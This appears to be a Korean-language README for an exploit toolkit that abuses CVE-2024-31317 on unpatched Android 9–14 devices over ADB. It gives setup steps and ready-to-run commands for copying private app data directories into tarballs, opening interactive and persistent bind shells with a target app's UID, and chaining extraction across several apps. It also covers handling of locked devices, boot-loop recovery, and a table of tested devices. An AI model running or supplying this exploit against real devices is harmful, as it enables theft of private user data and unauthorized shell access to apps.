
CVE-2024-31317을 이용해 ADB로 비공개 앱 데이터를 추출하거나 앱의 UID로 셸을 실행하는 툴킷입니다.
이 툴킷은 CVE-2024-31317을 사용하여 ADB를 통해 비공개 앱 데이터를 추출하거나 앱의 UID로 셸을 실행합니다. 이 취약점은 보안 패치 수준이 2024-06-01 이하인 Android 9~14 버전에 영향을 미칩니다. 테스트된 기기의 지원 매트릭스는 아래에서 확인할 수 있습니다.
sudo apt update
sudo apt install adb openjdk-17-jdk-headless android-sdk android-sdk-build-tools
export ANDROID_HOME=/usr/lib/android-sdk
export PATH=$PATH:$ANDROID_HOME/build-tools/34.0.0:$ANDROID_HOME/platform-tools
지속성을 위해 export 줄을 ~/.bashrc(또는 이에 상응하는 파일)에 추가하세요.
./setup.sh
# Build and install the carrier APK (auto-builds from source)
python3 cve_2024_31317.py com.google.android.youtube --setup --rebuild -y
# Extract an app's data directory
python3 cve_2024_31317.py -d DEVICE_SERIAL -E -o app_data.tar -y com.example.app
익스플로잇은 첫 실행 시 Hijack.java와 AndroidManifest.xml에서 모든 것을 빌드합니다.
python3 cve_2024_31317.py [flags] [package]
# Extraction
python3 cve_2024_31317.py -d DEVICE -E -o youtube.tar -y com.google.android.youtube
# Check if device is vulnerable
python3 cve_2024_31317.py -d DEVICE --check-vuln
# Interactive bind shell
python3 cve_2024_31317.py -d DEVICE -i -y com.google.android.youtube
# Persistent shell on port 7777
python3 cve_2024_31317.py -d DEVICE -S 7777 -y com.google.android.youtube
# Multi-app chain
python3 cve_2024_31317.py -d DEVICE -E -y --chain-targets "app1,app2,app3"
# Recovery only (fix boot loop)
python3 cve_2024_31317.py -d DEVICE --recover
모든 것이 런타임 시 소스에서 빌드됩니다. 빌드 파이프라인은 Android SDK의 javac(JDK 17+), d8, aapt, zipalign, apksigner를 사용합니다.
기기에 패스코드가 있으면 BFU(첫 잠금 해제 전, Before First Unlock) 상태로 시작됩니다. 익스플로잇은 잠금을 해제할 때까지 최대 5분 동안 sys.user.0.ce_available를 폴링합니다. 익스플로잇이 진행되는 동안에는 패스코드를 제거하는 것이 좋습니다.
† Samsung One UI 특정: ZNJECT 주입은 성공하고 -E 추출도 동작하지만 toybox nc ServerSocket 바인드 셸은 절대 열리지 않습니다. 문제의 근본 원인을 찾으려면 추가 연구가 필요합니다.
hidden_api_blacklist_exemptions에 남아 있는 페이로드는 다음 부팅 시 부팅 루프를 유발할 수 있습니다. 재설정하려면 --recover를 실행하세요:
python3 cve_2024_31317.py -d DEVICE --recover
| 플래그 | 설명 |
|---|
-E | 자식 프로세스 tar | nc를 통한 앱 데이터 추출(부모 프로세스 종료 후에도 유지) |
-i | 대화형 바인드 셸 REPL |
-S PORT | 영구 셸(FIFO 단일 포트 프로토콜) |
--recover | 설정 재설정, 부팅 멈춤 / Zygote 저하 복구 |
--setup | 캐리어 APK만 빌드 + 설치(주입 없음) |
--list-apps | UID 및 sys/user 유형과 함께 설치된 모든 패키지 나열 |
--check-vuln | 기기가 CVE-2024-31317에 취약한지 확인 후 종료 |
| 플래그 | 설명 |
|---|
-o file.tar | 추출 tarball 출력 경로 |
-y / --yes | 확인 프롬프트 건너뛰기 |
--retries N | 대상당 최대 재시도 횟수(기본값 3) |
--chain-targets "pkg1,pkg2" | 한 세션에서 여러 앱 추출 |
--chain-file file.json | 위와 동일, JSON 파일에서 읽기 |
--reboot-after | 추출 후 재부팅(Zygote 복원) |
--reboot-every N | 체인 대상 N개마다 재부팅 |
--cold | 워밍업 건너뛰기; 다음 앱 실행을 위해 페이로드 저장 |
--port PORT | 바인드 셸 포트(기본값 8888) |
-d SERIAL | 특정 기기 지정(여러 대 연결 시) |
--rebuild | 캐리어 APK 강제 재빌드 |
| 기기 | Android | API | 패치 | ABI | -E | -i | -S | --chain | --cold | --retries | --recover | --reboot-after | --list-apps | --check-vuln | 점수 |
|---|
| Google Pixel 3 | 12 | 31 | 2021-10-05 | arm64-v8a | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | 12/12 |
| Samsung SM-P615 Tab S6 Lite | 13 | 33 | 2024-05-01 | arm64-v8a | ✅ | ❌† | ❌† | ✅ | ✅ | ❌† | ✅ | ✅ | ✅ | ✅ | 9/12 |
| sdk_gphone_x86_64 (emulator) | 10 | 29 | 2019-09-05 | x86_64 | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | 12/12 |